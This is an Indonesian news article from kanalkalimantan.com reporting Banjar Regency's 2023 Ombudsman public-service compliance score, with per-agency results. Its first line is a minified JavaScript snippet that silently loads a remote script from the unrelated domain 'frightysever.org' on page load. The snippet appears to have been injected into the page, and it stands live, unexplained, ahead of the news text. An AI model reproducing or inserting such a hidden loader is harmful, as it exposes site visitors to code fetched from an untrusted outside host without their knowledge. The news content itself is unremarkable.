(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Diwakili oleh Wakil Bupati Habib Idrus Al Habsyi, Bupati Banjar H Saidi Mansyur menghadiri Penyerahan Hasil Penilaian Kepatuhan Penyelenggaraan Pelayanan Publik Tahun 2023 se-Kalimantan Selatan.
Kegiatan tersebut diselenggarakan Ombudsman RI Perwakilan Kalimantan Selatan, di Gedung Mahligai Pancasila, Banjarmasin, Rabu (17/1/2024) pagi.
Pemerintah Kabupaten Banjar memperoleh nilai 90,96 Katagori A Zona Hijau Predikat Kualitas Tertinggi Pelayanan Publik.
Baca juga: Capai Rp30,4 Triliun, Penerimaan Pajak DJP Kalselteng 2023 Urutan 20 Nasional
Kepala Perwakilan Ombudsman RI Provinsi Kalimantan Selatan, Hadi Rahman mengatakan, piagam penghargaan tersebut sebagai bentuk apresiasi Ombudsman RI terhadap instansi yang berhasil memenuhi Penilaian Kepatuhan Penyelenggaraan Pelayanan Publik terhadap Pelaksanaan Undang Undang Nomor 25 Tahun 2009 tentang Pelayanan Publik.
Hasil penilaian kepatuhan merupakan penggabungan atas hasil kinerja empat dimensi penilaian dengan kategorisasi penilaian.
Keempat dimensi penilaian ini meliputi dimensi input yang terdiri dari variabel penilaian kompetensi pelaksana dan variabel pemenuhan sarana prasarana pelayanan. Kemudian, dimensi proses terdiri dari variabel standar pelayanan.
Baca juga: Beda 6 Bulan, Tuntutan Dua Terdakwa Kasus Korupsi iPad DPRD Banjarbaru
“Berikutnya, dimensi output terdiri dari variabel penilaian persepsi maladministrasi, dan terakhir dimensi pengaduan terdiri dari variabel pengelolaan pengaduan,” beber dia.
Selain itu, dia mengungkapkan, terdapat peningkatan jumlah penyelenggara layanan yang masuk zona hijau atau memperoleh opini kualitas tertinggi dan tinggi di 2023.
Menurut dia kenaikan penilaian ini terjadi karena adanya peningkatan kualitas pelayanan publik di instansi pemerintahan.
Baca juga: Mabuk Ancam Pengunjung RTH Taman Gembira, MT Diringkus Polisi
Dia jua menyampaikan, untuk mempercepat terwujudnya pelayanan publik yang berkualitas selain kolaborasi antar instansi juga dibutuhkan peran serta masyarakat di dalamnya.
“Partisipasi masyarakat merupakan investasi yang sangat bernilai untuk meningkatkan kepercayaan masyarakat dengan masyarakat bukan hanya sekedar objek tapi subjek Pembangunan,” tutup dia.
Sementara itu dari hasil Rekapitulasi Penilaian Kepatuhan Penyelenggaraan Pelayanan Publik Pemerintah Daerah Kabupaten Banjar tahun 2023, dapat diketahui Puskesmas Martapura Timur mendapat nilai 88,41, Puskesmas Martapura 1 dengan nilai 90,19, Dinas Kependudukan dan Pecatatan Sipil dengan nilai 90,94, Dinas Pendidikan mendapat total nilai 92,86, dan Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu meraih total nilai sebesar 92,89.(kanalkalimantan.com/dkispbanjar/kk)
Reporter : kk
Editor : Dhani
KANALKALIMANTAN.COM, BANJARMASIN - Pasca pelaksanaan Pemilu 2024, Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor bercerita perjalanan karirnya sebelum menjadi… Read More
DPUPR Banjarbaru akan Bongkar Median Sepanjang 35 Meter Read More
“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melalui Inspektorat melaksanakan rapat koordinasi (Rakor) terkait… Read More
This website uses cookies.